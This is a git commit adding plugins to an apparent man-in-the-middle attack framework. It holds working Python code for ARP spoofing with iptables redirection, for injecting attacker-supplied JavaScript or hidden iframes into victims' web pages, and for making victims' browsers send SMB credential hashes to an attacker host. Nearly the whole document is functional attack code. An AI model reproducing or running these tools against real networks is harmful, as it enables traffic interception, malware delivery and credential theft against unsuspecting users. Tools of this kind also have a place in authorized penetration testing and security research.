initial commit

This commit is contained in:
byt3bl33d3r 2014-07-07 13:40:49 +02:00
commit 6fa335183c
37 changed files with 2698 additions and 0 deletions

109
plugins/ArpSpoof.py Normal file
View file

@ -0,0 +1,109 @@
from plugins.plugin import Plugin
from time import sleep
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
import os, sys, threading
class ArpSpoof(Plugin):
name = "ARP Spoof"
optname = "arpspoof"
desc = 'Redirect traffic using arp-spoofing'
implements = []
has_opts = True
log_level = logging.DEBUG
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.routerip = options.routerip
self.summary = options.summary
self.target = options.target
self.mode = options.mode
self.setup = options.setup
self.mac = get_if_hwaddr(self.interface)
self.port = self.options.listen
self.send = True
if os.geteuid() != 0:
sys.exit("[-] %s plugin requires root privileges" % self.name)
if self.interface == None or self.routerip == None:
sys.exit("[-] %s plugin requires --routerip and --interface" % self.name)
print "[*] ArpSpoof plugin online"
if self.setup == True:
print '[*] Setting up ip_forward and iptables'
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('1')
file.close()
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
if self.mode == 'req':
pkt = self.build_req()
elif self.mode == 'rep':
pkt = self.build_rep()
if self.summary == True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt,self.interface,))
t.setDaemon(True)
t.start()
def send_packets(self,pkt,interface):
while self.send == True:
sendp(pkt, inter=2, iface=interface)
def build_req(self):
if self.target == None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.routerip, pdst=self.routerip)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.routerip, hwdst=target_mac, pdst=self.target)
return pkt
def build_rep(self):
if self.target == None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.routerip, op=2)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.routerip, hwdst=target_mac, pdst=self.target, op=2)
return pkt
def add_options(self,options):
options.add_argument('--iface', dest='interface', help='Specify the interface to use')
options.add_argument('--routerip', dest='routerip', help='Specify the router IP')
options.add_argument('--target', dest='target', help='Specify a particular host to ARP poison [default: subnet]')
options.add_argument('--mode', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: req]')
options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
options.add_argument('--setup', action='store_true', dest='setup', default=True, help='Setup ip_forward and iptables [default: True]')
def finish(self):
self.send = False
sleep(3)
print '\n[*] Resetting ip_forward and iptables'
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('0')
file.close()
os.system('iptables -t nat -F && iptables -t nat -X')
print '[*] Re-arping network'
rearp_mac = getmacbyip(self.routerip)
pkt = Ether(src=rearp_mac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.routerip, hwsrc=self.mac, op=2)
sendp(pkt, inter=1, count=5, iface=self.interface)
sys.exit(0)

File diff suppressed because one or more lines are too long

24
plugins/CacheKill.py Normal file
View file

@ -0,0 +1,24 @@
from plugins.plugin import Plugin
class CacheKill(Plugin):
name = "CacheKill Plugin"
optname = "cachekill"
desc = "Kills page caching by modifying headers"
implements = ["handleHeader","connectionMade"]
has_opts = True
bad_headers = ['if-none-match','if-modified-since']
def add_options(self,options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
def handleHeader(self,request,key,value):
'''Handles all response headers'''
request.client.headers['Expires'] = "0"
request.client.headers['Cache-Control'] = "no-cache"
def connectionMade(self,request):
'''Handles outgoing request'''
request.headers['Pragma'] = 'no-cache'
for h in self.bad_headers:
if h in request.headers:
request.headers[h] = ""

116
plugins/Inject.py Normal file
View file

@ -0,0 +1,116 @@
import os,subprocess,logging,time,re
import argparse
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
class Inject(CacheKill,Plugin):
name = "Inject"
optname = "inject"
implements = ["handleResponse","handleHeader","connectionMade"]
has_opts = True
log_level = logging.DEBUG
desc = "Inject arbitrary content into HTML content"
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.html_src = options.html_url
self.js_src = options.js_url
self.rate_limit = options.rate_limit
self.count_limit = options.count_limit
self.per_domain = options.per_domain
self.match_str = options.match_str
self.html_payload = options.html_payload
if self.options.preserve_cache:
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
if options.html_file != None:
self.html_payload += options.html_file.read()
self.ctable = {}
self.dtable = {}
self.count = 0
self.mime = "text/html"
def handleResponse(self,request,data):
#We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection
#print "http://" + request.client.getRequestHostname() + request.uri
ip,hn,mime = self._get_req_info(request)
if self._should_inject(ip,hn,mime) and \
(not self.js_src==self.html_src==None or not self.html_payload==""):
data = self._insert_html(data,post=[(self.match_str,self._get_payload())])
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
self.count+=1
logging.info("Injected malicious html.")
return {'request':request,'data':data}
else:
return
def _get_payload(self):
return self._get_js()+self._get_iframe()+self.html_payload
def add_options(self,options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.")
options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.")
options.add_argument("--match-str",type=str,default="</body>",help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.")
options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.")
options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.")
options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.")
def _should_inject(self,ip,hn,mime):
if self.count_limit==self.rate_limit==None and not self.per_domain:
return True
if self.count_limit != None and self.count > self.count_limit:
#print "1"
return False
if self.rate_limit != None:
if ip in self.ctable and time.time()-self.ctable[ip]<self.rate_limit:
return False
if self.per_domain:
return not ip+hn in self.dtable
#print mime
return mime.find(self.mime)!=-1
def _get_req_info(self,request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
return (ip,hn,mime)
def _get_iframe(self):
if self.html_src != None:
return '<iframe src="%s" height=0%% width=0%%></iframe>'%(self.html_src)
return ''
def _get_js(self):
if self.js_src != None:
return '<script type="text/javascript" src="%s"></script>'%(self.js_src)
return ''
def _insert_html(self,data,pre=[],post=[],re_flags=re.I):
'''
To use this function, simply pass a list of tuples of the form:
(string/regex_to_match,html_to_inject)
NOTE: Matching will be case insensitive unless differnt flags are given
The pre array will have the match in front of your injected code, the post
will put the match behind it.
'''
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in pre]
post_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in post]
for i,r in enumerate(pre_regexes):
data=re.sub(r,"\g<match>"+pre[i][1],data)
for i,r in enumerate(post_regexes):
data=re.sub(r,post[i][1]+"\g<match>",data)
return data

21
plugins/SMBAuth.py Normal file
View file

@ -0,0 +1,21 @@
from plugins.plugin import Plugin
from plugins.Inject import Inject
class SMBAuth(Inject,Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
def initialize(self,options):
Inject.initialize(self,options)
self.target_ip = options.ip
self.html_payload = self._get_data()
def add_options(self,options):
options.add_argument("--host", action="store_true", help="The ip address of the SMB server")
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\
% tuple([self.target_ip]*3)

View file

@ -0,0 +1,47 @@
import logging
from cStringIO import StringIO
from plugins.plugin import Plugin
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"
desc = 'Flips images 180 degrees'
has_opts = False
implements = ["handleResponse","handleHeader"]
def initialize(self,options):
from PIL import Image,ImageFile
globals()['Image'] = Image
globals()['ImageFile'] = ImageFile
self.options = options
def handleHeader(self,request,key,value):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
request.imageType = value.split("/")[1].upper()
def handleResponse(self,request,data):
try:
isImage = getattr(request,'isImage')
except AttributeError:
isImage = False
if isImage:
try:
image_type=request.imageType
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p.feed(data)
im = p.close()
im=im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output,format=image_type)
data=output.getvalue()
output.close()
logging.info("Flipped image")
except Exception as e:
print "Error: %s" % e
return {'request':request,'data':data}

6
plugins/__init__.py Normal file
View file

@ -0,0 +1,6 @@
#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python
#Has to be a cleaner way to do this, but it works for now
import os
import glob
__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]

40
plugins/plugin.py Normal file
View file

@ -0,0 +1,40 @@
'''
The base plugin class. This shows the various methods that
can get called during the MITM attack.
'''
class Plugin(object):
name = "Generic plugin"
optname = "generic"
desc = ""
implements = []
has_opts = False
def __init__(self):
'''Called on plugin instantiation. Probably don't need this'''
pass
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
def add_options(options):
'''Add your options to the options parser'''
raise NotImplementedError
def handleHeader(self,request,key,value):
'''Handles all response headers'''
raise NotImplementedError
def connectionMade(self,request):
'''Handles outgoing request'''
raise NotImplementedError
def handleResponse(self,request,data):
'''
Handles all non-image responses by default. See Upsidedownternet
for how to get images
'''
raise NotImplementedError
def finish(self):
'''This will be called when shutting down'''
pass

16
plugins/test.py Normal file
View file

@ -0,0 +1,16 @@
from plugins.plugin import Plugin
#Uncomment to use
'''
class Test(Plugin):
name = "Test"
optname = "test"
has_opts = True
implements = ["handleResponse"]
def add_options(self,options):
options.add_argument("--testy",action="store_true",
help="This is a test option")
def initialize(self,options):
self.worked = options.test
def handleResponse(self,request,data):
print "http://" + request.client.getRequestHostname() + request.uri
'''